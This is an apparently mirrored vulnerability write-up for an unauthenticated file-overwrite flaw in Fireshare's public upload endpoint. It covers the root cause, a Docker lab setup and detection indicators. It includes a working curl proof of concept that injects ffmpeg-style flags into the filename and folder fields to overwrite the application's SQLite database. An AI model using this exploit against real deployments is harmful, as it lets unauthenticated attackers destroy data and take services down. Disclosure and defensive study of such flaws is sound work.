Fireshare Unauthenticated Arbitrary File Write/Overwrite — CVE-2026-54337

Metadata

Affected Target

Summary

Fireshare’s public upload endpoint (/api/upload/public) accepts multipart form fields (file, filename, folder) that are passed largely unsanitized into a downstream ffmpeg invocation used to process the uploaded video. By embedding extra ffmpeg-style arguments (e.g. -select_streams, -o <dir>) inside the filename and folder field values, an unauthenticated attacker can control the output filename and output directory of the processing step, resulting in arbitrary file write/overwrite anywhere the nginx process has write access (/data, /processed, /images, /videos). Overwriting /data/db.sqlite in particular renders the entire application unusable.

Vulnerability Details

Root Cause

The upload handler behind /api/upload/public builds a file-processing command using attacker-controlled filename and folder form field values without adequately sanitizing or validating them, allowing argument/parameter injection into the underlying media-processing (ffmpeg-style) invocation (CWE-73: External Control of File Name or Path).

Attack Vector

1. Create any local file with a .mp4 extension (e.g. echo 123 > test.mp4) — its content becomes the data written to the target path.
2. Send a multipart POST to http://<target>/api/upload/public with the file field’s filename= value set to the desired target filename plus injected ffmpeg flags (e.g. db.sqlite -select_streams v.mp4).
3. Set the folder field to the desired target directory plus an injected output-directory flag (e.g. testfolder -o data).
4. The server processes the upload and writes/overwrites the target file inside a directory writable by the nginx service user (/data, /processed, /images, /videos).

Impact

Unauthenticated arbitrary file write/overwrite within any directory writable by the service user. Overwriting /data/db.sqlite corrupts the application database and renders the Fireshare instance unusable (denial of service); other targeted overwrites could have further impact depending on what the application reads from those directories.

Environment / Lab Setup

Target:   shaneisrael/fireshare:1.6.13-lite Docker container, port 8082, tmpfs-backed /data /processed /videos /images
Attacker: curl (no additional tooling required)

Proof of Concept

PoC Script

No standalone script is provided upstream — see upstream-README.md and docker-compose.yml in this folder for the exact functional curl commands and lab setup.

1
2
3
4

curl -s -w "HTTP %{http_code}\n" \
  -F "file=@test.mp4;filename=db.sqlite -select_streams v.mp4" \
  -F "folder=testfolder -o data" \
  http://<URL>/api/upload/public

The command uploads a locally-created test.mp4 while smuggling extra ffmpeg-style arguments into the filename and folder multipart fields, causing the server to write the uploaded content to /data/db.sqlite, overwriting the application’s database.

Detection & IOCs

Signs of compromise:

• Unexpected corruption or truncation of /data/db.sqlite or other application data files
• Fireshare instance suddenly becoming non-functional after an unauthenticated upload request
• Upload requests to /api/upload/public with filename=/folder= values containing spaces, dashes, or ffmpeg CLI flags rather than plain filenames

Remediation

References

• Source repository
• GHSA-hmh2-6g84-q8jx

Notes

Mirrored from https://github.com/4qu4r1um/CVE-2026-54337-PoC on 2026-07-05. This repo contains no standalone exploit script — only a README with the exact functional curl commands and a docker-compose.yml lab target, both preserved in this folder (upstream-README.md).